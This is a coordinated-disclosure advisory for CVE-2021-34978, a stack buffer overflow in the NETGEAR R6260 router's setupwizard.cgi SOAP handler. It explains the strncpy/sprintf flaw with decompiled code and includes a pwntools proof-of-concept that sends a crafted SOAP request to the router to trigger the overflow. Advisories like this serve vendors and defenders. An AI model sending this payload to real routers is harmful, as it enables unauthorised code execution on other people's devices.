CVE: CVE-2021-34978

Tested Versions:

  • NETGEAR R6260 V1.1.0.78_1.0.1

Product URL(s):

Description of the vulnerability

This vulnerability allows for an attacker with LAN access to a NETGEAR R6260 router to execute arbitrary code. This was tested on the latest firmware available for the router, V1.1.0.78_1.0.1 at the point of writing.

When setupwizard.cgi is executed via a HTTP SOAP request, specially crafted SOAP-ENV headers will cause strncpy() to produce unterminated strings in analyse_XML_namespace(). A subsequent sprintf() call in the same function will introduce a buffer overflow due to overlapping strings, allowing for instruction pointer control.

setupwizard.cgi is cgi binary which responsible to handle incoming HTTP request. In this binary, the function analyse_XML_namespace (defined at address 0x40A39C) is used to parsed the xml in post data of HTTP request.

  int __fastcall analyse_XML_namespace(char* buf)
  {
    node = 0;
    nodeName_rebuilt[0] = 0;
    memset(&nodeName_rebuilt[1], 0, 0x7Fu);
    err = ixmlParseBufferEx(buf, &node);
    if ( err )
    {
      TRACE("%s: ixmlParseBufferEx fail\n", "analyse_XML_namespace");
      TRACE("ERROR CODE: %d\n", err);
      rtr = 0;
    }
    else
    {
      child = (IXML_Node *)ixmlNode_getFirstChild(node);
      strncpy(namespaceURI, child->namespaceURI, 0x40u);          // <-- non terminated
      strncpy(nodeName, child->nodeName, 0x20u);                  // <-- non terminated
      strncpy(prefix, child->prefix, 0x10u);                      // <-- non terminated
      strncpy(localName, child->localName, 0x10u);                // <-- non terminated
      cmpURI = strncmp("http://schemas.xmlsoap.org/soap/envelope", namespaceURI, 0x28u);
      rtr = 0;
      if ( !cmpURI )
      {
        sprintf(nodeName_rebuilt, "%s:%s", prefix, localName);    // <-- stack overflow
        
        ...

This function call ixmlParseBufferEx and ixmlNode_getFirstChild functions to parse xml data, and then call strncpy to copy the namespaceURI, nodeName, prefix and localName of first child xml node to stack-based buffers. Notice that strncpy function didn’t terminated the destination string if the size of source string exceed the 3rd argument value. Therefore, we can craft a xml post data to create a long unterminated string and then a subsequent sprintf function call will lead to stack overflow.

Proof-of-Concept

from pwn import *
context.arch = 'mips'
context.endian = 'little'
context.log_level = 'debug'
soap_data = b"""<?xml version='1.0' encoding="UTF-8"?>
<aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb xmlns:aaaaaaaaaaaaaaaa="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<tag>aaa</tag>
</SOAP-ENV:Body>
</aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb>"""
def send_SOAP() -> bytes:
    # Note that requests.post will not work here, because malformed HTTP headers will raise errors
    r = remote('routerlogin.net', 80)
    def sl(s:bytes): r.send(s+b'\r\n')
    sl(b'POST / HTTP/1.1')
    sl(b'Host: routerlogin.net')
    sl(b'Accept: */*')
    sl(b'User-Agent: pwnt')
    sl(b'Cookie: =xxxx')
    sl(b'SOAPAction:\t⚱NETGEAR-ROUTER:service:aaaaa:')
    #xml = XML.format(password)
    xml = soap_data
    sl(b'Content-Length: ' + str(len(xml)).encode())
    sl(b'Content-Type: application/x-www-form-urlencoded')
    sl(b'')
    pause()
    sl(soap_data)
    #sl(b'')
    return r.recvall()
send_SOAP()

Timeline:

  • 2021-03-22 - Reported via ZDI
  • 2021-06-16 - Vulnerability reported to vendor
  • 2021-10-28 - Coordinated public release of advisory